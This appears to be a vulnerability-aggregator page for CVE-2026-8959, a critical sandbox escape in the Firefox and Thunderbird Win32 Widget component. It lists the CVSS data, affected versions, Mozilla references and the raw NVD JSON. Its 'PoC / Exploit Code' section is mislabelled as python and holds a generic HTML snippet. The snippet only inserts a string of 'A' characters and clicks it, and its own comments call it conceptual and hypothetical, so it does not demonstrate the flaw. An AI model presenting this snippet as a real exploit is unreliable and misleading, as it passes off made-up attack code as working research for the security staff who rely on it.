CVE-2026-8959

Description

Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component. This vulnerability was fixed in Firefox 151, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Firefox < 151

Firefox ESR < 140.11

Thunderbird < 151

Thunderbird < 140.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Conceptual PoC for CVE-2026-8959
Target: Firefox/Thunderbird Widget: Win32 Component
Trigger: Incorrect boundary condition leading to Sandbox Escape
Note: This requires specific heap grooming and user interaction.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8959 PoC</title>
</head>
<body>
<script>
    // Attempt to trigger the boundary condition in the Win32 Widget
    // Attackers would manipulate the DOM to corrupt memory boundaries
    function trigger_exploit() {
        var target_element = document.createElement('div');
        // Malicious payload designed to hit the incorrect boundary check
        var payload = "A".repeat(0x1000); 
        target_element.innerText = payload;
        
        // Appending to body to trigger rendering logic in Widget: Win32
        document.body.appendChild(target_element);
        
        // Interaction is required (UI:R)
        target_element.onclick = function() {
            // Hypothetical memory corruption trigger
            debugger; // Breakpoint to analyze execution flow
        };
        
        // Simulate user interaction
        target_element.click();
    }

    // Execute trigger
    window.onload = trigger_exploit;
</script>
<p>CVE-2026-8959 Sandbox Escape Trigger</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8959
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8959
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8959/
[4] VulDB https://vuldb.com/cve/CVE-2026-8959
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2034754
[6] https://www.mozilla.org/security/advisories/mfsa2026-46/
[7] https://www.mozilla.org/security/advisories/mfsa2026-48/
[8] https://www.mozilla.org/security/advisories/mfsa2026-50/
[9] https://www.mozilla.org/security/advisories/mfsa2026-51/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8959", "sourceIdentifier": "[email protected]", "published": "2026-05-19T14:16:52.280", "lastModified": "2026-05-19T18:16:34.907", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component. This vulnerability was fixed in Firefox 151, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2034754", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-46/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-48/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-50/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-51/", "source": "[email protected]"}]}}